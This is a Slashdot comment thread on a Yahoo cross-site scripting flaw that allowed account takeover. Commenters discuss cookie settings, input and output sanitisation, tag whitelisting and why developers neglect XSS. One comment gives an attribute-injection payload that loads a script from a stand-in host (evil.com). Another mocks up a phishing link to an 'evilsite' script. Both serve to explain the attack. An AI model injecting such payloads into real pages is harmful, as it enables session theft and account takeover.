Yahoo! XSS Flaw Endangers its Users 157
Rarely Greys writes "A major Yahoo XSS flaw makes it possible to take over any Yahoo user's account, including their mail, instant messaging, photos, etc.
This is not a rare occurrence. So why aren't web sites doing more to protect their users? It's looking like most web developers don't even know or care about XSS."
Responsible disclosue? (Score:4, Insightful)
Re: (Score:2, Insightful)
Re: (Score:3, Funny)
Google = GOOD
Yahoo = BAD
You're welcome.
Re: (Score:2)
Re:Responsible disclosue? (Score:4, Informative)
Re:SIMPLE SOLUTION (Score:4, Informative)
For those who are not in the know, the problem with that particular solution attempt is that a vast majority of dialup users (AOL-ers, for example) sit behind a dynamic pool of web proxies that can have their IP address reassigned at anytime during the same dialup connection, and therefore during the same browsing session.
Re: (Score:2)
Re: (Score:2)
"To solve these problems, it would be best if developers stopped using languages like Ajax, HTML, Perl, e.t.c. Instead webpages should be written in new safe language which is compiled and executed within a sandbox. This is somewhat like writing the entire webpage as a Java Applet and the applet alone runs. (No HTML, Javascript, e.t.c.)"
I'll let the vultures pick at that one...
Re: (Score:3, Insightful)
To get rid of XSS you need to get rid of the injection agent. Which is HTML. Period. As long as a webmail program insists on rendering HTML, eventually someone finds a new way to piggyback JavaScript on it. No matter how much they try to filter the crap out of JS. JS/ECMAScript/HTML and the browsers' support for them evolve all the time. It's a doomed effort from the start. Witness Gmail, Yahoo mail, Hotmail and so on get hit by XSS time and time again.
Re: (Score:3, Interesting)
You're as bad as the commenter. HTML doesn't fall into this particular problem at all. The problem is with the HTTP protocol and how it gets abused. Specifically, the article is talking about Yahoo using url rewriting to store the session id rather than a session cookie. Since the session is attached to the token in the URL, an attacker would have no problem getting access to your account from the referring URL.
This attack ex
Re: (Score:2)
Re: (Score:2)
You know, the almost-intelligent combination of buzzwords into the Stupidest Thing You've Ever Heard.
Re: (Score:3, Informative)
Two things wrong with that argument:
I fail to see how is this related to XSS (Score:3, Interesting)
Re:I fail to see how is this related to XSS (Score:4, Informative)
Not so sane or OFF in Firefox 2 (Score:4, Informative)
Set network.cookie.cookieBehavior to "1"
http://kb.mozillazine.org/Network.cookie.cookieBe
Oh... and NoScript... (Score:5, Informative)
Re: (Score:2)
Re: (Score:3, Informative)
Yes, since IE6, I believe.
Re:I fail to see how is this related to XSS (Score:4, Informative)
Um, no. Neither IE6 nor Firefox 2 block 3rd-party cookies by default. In IE6, one can turn off 3rd party cookies with Tools -> Internet Options -> Privacy Tab -> Advanced. Check override automatic cookie handling, and then under Third Party choose Block or Prompt.
In FF 2.0, you need to do an about:config and set network.cookie.cookieBehavior to 1.
Any questions?
Re: (Score:3, Interesting)
Posted anonymously because god knows what kind of flames I'd get if people knew I worked for an Internet advertising company that uses third-party cookies.
IE6 has third-party cookies on by default, as does IE7, as does Firefox 2. The only "major" (not major in marketshare, but in mindshare) browser that has third-party cookies disabled by default is Safari at the moment.
On the other hand, don't believe the scare tactics that say that third-party cookies are "spyware" or some horrible conspiracy against y
Re: (Score:3, Informative)
As I understand XSS, it is any vulnerability that lets one inject code, usually javascript, into output from one site, causing data to be sent to another site. In my experience, it is usually caused by a site not filtering input correctly rather than a problem with a browser.
Re: (Score:2)
I have sympathy for the cases where there are obscure workarounds developed which let people do this sort of thing despite the developer(s)
Talk about an exploit... (Score:2, Funny)
Re: (Score:3, Funny)
Ouch.. (Score:2)
Re: (Score:2)
But it would be helpful for me if someone could give a brief outline.
Re: (Score:2)
Bull. Spreading knowledge about attack vectors is the best way to stop them. Keeping them all secret is asking for trouble.
Stopping it is essentially as follows: never assume trust of anything in the request. Validate sessions against at least B-class ip (this will accomodate the AOL'ers, it's not perfect, but it makes the exposure smaller), white list allowed urls and parameter values (as opposed to blacklisting, which leaves one prone to forgetting something), e
Re: (Score:2)
I meant that the wiki page was probably too detailed for more novice web types like myself. There is nothing wrong with detail, the wiki is fine. I would just have liked a laymans outline of the technique and its prevention. Which is why I asked for one here, thanks for the reply.
Re: (Score:2)
Re: (Score:2)
Re: (Score:3, Insightful)
Re: (Score:2)
2. I don't use cookies
3. all characters that can be used is HTML or SQL code are delimited
4. I always assume that someone might be tampering with form data.
Im not saying that my security measures are flawless, but i do take alot of things into consideration, and i am paranoid when it c
Re: (Score:2)
Re: (Score:2)
Re: (Score:3, Informative)
Re: (Score:3, Informative)
Re: (Score:3, Insightful)
Using the referrer logs for anything other than logging/statistics is a stupid thing to do, IMHO.
Re: (Score:2)
Although i haven't seen anything in the logs that hints of a firewall altering the referrer yet.
Re: (Score:2)
I personally think it's a stupid feature to add to a personal firewall, but it's there, so we have to deal with it
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
1.
2. User submits the form to
3. Server validates if token matches the handed out value
An external site would have to hijack the session cookie to forge such a request. But then it could do anything anyway.
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
It wasn't designed right from the start, and it will take a very, very long time to undo the damage.
Sanitizing user imput is the most important part (Score:5, Informative)
Tags like script, iframe, link, style, embed, object _MUST_ be stripped in an untrusted environment. why you may ask: script, iframe, link allow external references (for example injection of code of remote sites which you can not easily check).
script itself is the most evil tag because it allows an attacker to access any element in a page, modify it and inject further remote scripts not stored on your server.
ie interprets javascript and vbcode in style tags
embed and object tags are used to insert java and activeX code, I guess I do not have to say much about those two techniques, it's again about inserting remote code at runtime.
iframe is, by nature, a fairly secure tag. it can not harm the users page much but it can be used to trick the user in believing to be on another page/site or trick him in any other way. plus, many IE versions had security holes where scripts could travel up from iframe into its parent document to manipulate data from another domain (crossite
There might be some potentially evil tags missing in my list, this is just from the top of my head.
I usually go the other way, instead of restricting tags i define a white-list of tags which are useful for formatting reasons such as strong, em, front, etc. this seems to be a much more controllable way.
HTH,
-Simon
Re:Sanitizing user imput is the most important par (Score:2, Informative)
Although sanitizing user input gets the job done, what one should be doing is sanitizing the output .
An XSS attack exists because you are dynamically generating a web page with content you didn't intend: which contains executable script instead of where you intended dumb text (that you got from a database or that was entered earlier on by a (another) user). Sanitizing user input (which is the only factor you don't control) will help but if I enter <script>1+1</script> as some comment on for ex
Re:Sanitizing user imput is the most important par (Score:5, Insightful)
<strong onmouseover="document.write('<' + 'script s' + 'rc=\"http://evil.com/foo.js\"></script>')">You get the idea</strong>
HTML sanitizing is VERY. HARD. Unless you first run things through tidy, and then manually check all attributes for evil (keeping in mind URL-encoded and unicode-escaped sequences), you WILL FAIL.
You are a lot safer using wiki or REST syntax and converting it to html formatting tags on the back-end. Otherwise you'll be playing a constant game of whack-a-mole.
Re: (Score:2)
Although the parent did not get moderated up, Mr_Icons point is valid and extremely important (if you strip tags but forget to strip attributes in allowed tags, it's not very effective).
Cheers,
-S
Re: (Score:3, Insightful)
Re: (Score:2)
I've already moderated in this discussion, but I'll bite. Am I? [htmlpurifier.org]
You people need to stop skirting around the issue by inventing new markup languages and actually solve the problems with proper libraries for each language. There is already a solution for PHP (HTML Purifier) [htmlpurifier.org]: how about more languages?
Any HTML filtering library will be complicated, but it will be much less complicated than a web-browser, which actually has to do things with the HTML. All a filter has to do is validate.
Re: (Score:2)
The best way to do this depends on the server side technology you are using. But even then, no filter is 100%. You also have to watch context. In the example here, Yahoo was filtering quotation marks, but this exploit works around th
Not necessarily that they don't try. (Score:5, Interesting)
What is most showing is how fast it will be till Yahoo fixes this vunerability as a sign of their metal.
imho...
Re: (Score:2)
As a web user myself, I try diligently to kill off any XSS attacks by turning off all client-side scripting, using NoScript, etc.
Unfortunately, I'm also a web developer, and I need to test my stuff against all the common browsers. So I have to occasionally use browsers (you know which ones I'm talking about) that don't allow user control of all client-side scripting.
In a sane world, there would be no su
Re: (Score:2)
metal |?metl| noun 1 a solid material that is typically hard, shiny, malleable, fusible, and ductile, with good electrical and thermal conductivity (e.g., iron, gold, silver, copper, and aluminum, and alloys such as brass and steel) : vessels made of ceramics or metal | being a metal, aluminum readily conducts heat. Heraldry gold and silver (as tinctures in blazoning). 2 Brit. (also road metal) broken stone for use in making roads. 3 molten glass before it is blown or cast. 4 heavy metal or simila
It has been fixed already ... (Score:2)
> What is most showing is how fast it will be till Yahoo fixes this vunerability as a sign of their metal.
It is already fixed. And probably the security testing team added a new test-case to prevent recurrences.
What went on here is a pure case of ASWing [urbandictionary.com]. Nearly every non-trivial application has a fair share of holes, some are just more high-rewards than others. We've found XSS issues in Orkut [livejournal.com], during random exploration. But having grown past sixteen, I've sent an email to the orkut feedback bla
Why web developers don't care about XSS (Score:3, Insightful)
Think about the input needed for a comment box. You have to deal with i18n issues. UTF-8 or UTF-16 is a very big character set. You can't explicitly block everything and then white list selectively very easily with such a big character set.
Some people think bbcode is the solution for some types of sites. I haven't seen too many implementations of bbcode for languages other than PHP that are open source and reusable.
Can someone point me at resources for Java and
I'd personally love to get a library to do safe HTML input while stripping any dangerous tags in Java that is reasonably reusable.
Re: (Score:2)
Re: (Score:2)
With BBcode-like tags, you strip all HTML tags, period. They're either quoted so that they show up as raw text, or they are removed entirely. But the magic BBcode tags are transformed into HTML. [b] becomes <b>, [/b] becomes </b>. [b script=blah] is malfo
Re: (Score:2)
Re: (Score:2)
For the user who is familiar with HTML, BBcode-alikes provide a visual cue to differing semantics. If
Re: (Score:2)
And you don't really get any of the benefits you mention: BBcode maps nearly 1:1 to a subset of HTML. You can largely just replace BBcode tags with HTML ones in your code, and you get the same thing, only more friendly to people who are more likely to be familiar with HTML.
You don't output user-submitted HTML at all. You first parse HTML, and then you output your own HTML. You us
Re: (Score:2)
Web developers know not enough about security (Score:4, Insightful)
They know how to store and retrieve data from a database, but they don't know why it's important to escape strings before they go to into a SQL query (or better: use parameterized queries). It happens too often that when you see some page: view.php?id=23 and you change 23 to 23', it returns an error. Although a lot of developers are 'saved' by PHP's magic quotes, it isn't a silver bullet.
Even less web developers seem to know about XSS and how to prevent it.
Web security should get a lot more attention in web developer education, from SQL injection to XSS to salted hashes.
Re: (Score:2)
Re: (Score:2)
1) Some are entirely ignorant of these issues, and will code things like (say) a cookie that says "admin=true" to determine admin access.
2) Some are aware of the issues, but don't care to implement them. At least not until it's reported to them by a user/client/boss.
3) Some are aware of the issues, would like to implement them, but their clients/bosses don't give them enough time or resources to do so.
Re: (Score:2)
When I read the article, the guy almost had me convinced that the world is about to end. The sun seemed to be falling from the sky and so on.
When I read the exploit, however, I found it to be really trivial. And trivial to fix. First: how dare yahoo to execute on the page the script that is came from the user in the request ("onerror" parameter in the link)! Second: he has stolen the cookies via "document.cookies" the easiest way
Re: (Score:2)
I'd care less if it was site developers problem... (Score:3, Insightful)
Believe it or not, most malware,spyware,viruses spread to the user via Internet Explorer ActiveX.
Although users are prompted to click yes or no, the default user will click yes anyway, and that's even a bigger problem.
Re: (Score:2)
Use some library/package or something (Score:5, Informative)
Re: (Score:2)
Re: (Score:2)
What HTML_Forms does, is the following:
Works flawlessly and integrates with the templating classes that PEAR off
Re: (Score:2)
The safeguard you're describing protects against CSRF [shiflett.org] and has nothing to do with XSS.
Re: (Score:2)
Here's Why. (Score:5, Insightful)
1. MOVING TARGET
A lot of webdev security issues (DB input, etc.) are moving targets.
For example, take database input. Ten years ago, for many (beginning) developers, escaping quotes and backslashes manually was considered fine. Later developers had database libraries that provided these functions natively. All of a sudden, unicode came along. Suddenly you had to worry about extra characters. This was another step - for example, for developers using MySQL, it was pertinent to change all of your escape functions to a new, unicode-aware one.
With everything else on their plate, even if they're single-language developers, auditing old code to maintain current security best practice falls somewhere at the bottom of the todo list, between 'get some exercise' and 'catch up on sleep'.
2. EXPECTATIONS RISING
As individual leading sites like google's gmail or google earth appear, expectations from clients increase. Web developers have a hard time keeping up with meeting all of the new 'standard features' that are expected, and are often implementing certain aspects for the first time, relying on either poorly audited code (random downloaded scripts) or writing their own with insufficient time for testing and security auditing.
3. NEW OR RAPIDLY ELEVATED ISSUES IN WEB SECURITY
In the last ten years, issues have appeared such as:
1. Public tools and worms that can easily attack custom-made applications, rendering some older, unmaintained code more readily exploitable. (This is just another time pressure, and security is all about the combination of resources for the attacker and defender... not just technical know-how on either side.)
2. Cross site scripting... this is quite a complex issue and is not understood by all developers.
3. A large number of scripting languages, which are constantly being updated and take a lot of time to stay up to date with. For example, most web developers are not really competent with javascript/ecmascript...
4. Browser or other 'out of web developer control' bugs can make different tags or features dangerous 'at short notice'.
5. AJAX and web services, which emphasise providing structured, easily-accessible data to the public, make data scraping (ala screen scraping) that much more of a real and widespread threat. As of today, most developers still do not take this threat seriously.
6. Denial of service attacks.
7. New expectations of server-side image (or web services data) processing can expose extra code (often legacy tools, or tools in entirely new languages) to potentially hostile input.
4. GENERAL PROGRAMMING ISSUES
Add to the above the standard pressures that lead to security shortfalls:
- Web developers, like other programmers, are often lumbered with unrealistic delivery timeframes.
- A lot of webdev is single-developer stuff, not completed in teams. As only one person reads the code, errors are less likely to be spotted.
- Most webdev projects have no budget for code auditing as close-to-secure code is often merely a desirable part of the overall bundle, not a steadfast client requirement...
- Webdev people often aren't client facing. In today's highly comepetitive webdev market, client facing salespeople perhaps don't know enough about code security to sell it as a budget-worthy extra.
5. CLIENTS DONT CARE
They want a working site, not a working site with n^m behind-the-scenes feelgood features they have to take at face value and have no way to 'see', 'show the boss' or otherwise justify.
Re: (Score:3, Insightful)
I particularly empathise with #4.
Unrealistic deadlines: I'm often asked to complete a job that should take 8-10 days in 3. Even then, my 10 day estimate is not including high-level security features. When you explain "if I do it in 3 days, & you want it changed later I'll have to start again from scratch. Plus, it will be minimum security - please understand that the website *may* be raped" THEY say "Bahh,
Re: (Score:2)
Re: (Score:2)
The problem is that the developers don't know
XSS? (Score:2, Funny)
Eh, never mind. I don't really care.
Re: (Score:2, Funny)
Paris Hilton?! (Score:2)
Not XSS (Score:2)
On top of that it relies on posting a form to an external domain; such a thing gives a nasty warning in Firefox.
This really has nothing at all to do with XSS, you can do this with any email client that has HTML mail.
Are XSS flaws overrated? (Score:3, Insightful)
developers: simple solution (Score:2)
never, i repeat, never print out a user-editable string variable directly to a web page. send every single one through a function that, at the very least, replaces all '<' and '>' to '<' and >
Pure Man of Genius (Score:2)
You, sir, are a Pure Man of Genius.
Re: (Score:2)
But I think the point still remains, that sometimes the requirements are that you accept markup from an untrusted source. Unfortunately, I don't think that there is a good way to fix this, as evidenced by all of the high-profile attacks.
Just look at all of the comments to this article:
"You must filter all inputs for tags!"
"No, stupid, you must filter all outputs!"
"XML-Parse all inputs and whitelist any acceptable tags!"
"Don't forget
Re: (Score:2)
true, but i think the first step is identifying when you do and dont want to accept markup. when you dont, the solution is cut and dry, very easy: filter the output. you never have to worry about that part again.
you only need to focus on the parts that do accept user markup. depending on the context, it may be easy, maybe not. webmail for example, i d
Re: (Score:2)
Okay. Now this assumes that users can write valid XML. What do you do if the user doesn't close a tag? Besides, you still have t
Rules of Thumb? (Score:2)
For instance, it is trivial to protect yourself from SQL Injection hacks. Just use substitution variables:
would become
And then just set that variable. Magic, no SQL Injection possible (as long as you trust your DB librar
Re: (Score:2)
It would help if we stopped generating web pages as if they were text. Code like "" represents a recipe for disaster.
Dynamically creating the DOM on the server side would be a great start. Just build up the model in memory (much like you use prepared statements for SQL), then write it out to the client when you're done. That would eliminate a good chunk of XSS vulnerabilities right there. Even th
Re: (Score:2)
I'm off to get some coffee. I'm obviously not doing so well without it.
Bottom line: Developers don't care (Score:3, Interesting)
I've worked on several web projects over the years, and I've never met a single developer who even knew or cared about XSS. In all of those projects none of them, other than myself, bothered to even escape strings when sending out to HTML. In some cases, they will go out of their way to _not_ escape them. Like in ASP.NET, using HTML literal controls (which don't escape HTML content) instead of using text controls (which do). The reasoning was that the
The Cross Site Scripting FAQ (Score:2)
http://www.cgisecurity.com/articles/xss-faq.shtml [cgisecurity.com]
hmm..maybe I could get my account back (Score:2)
Re:Idiot Consumers? (Score:4, Insightful)
----
OMG! Check out this funny search!
"French military victories"
<a href='evilsite.com/haxzoryouryahoo.cgi'>http://se
HAHAHA! Couldn't stop laughing...
----
Re: (Score:2)
Re: (Score:2)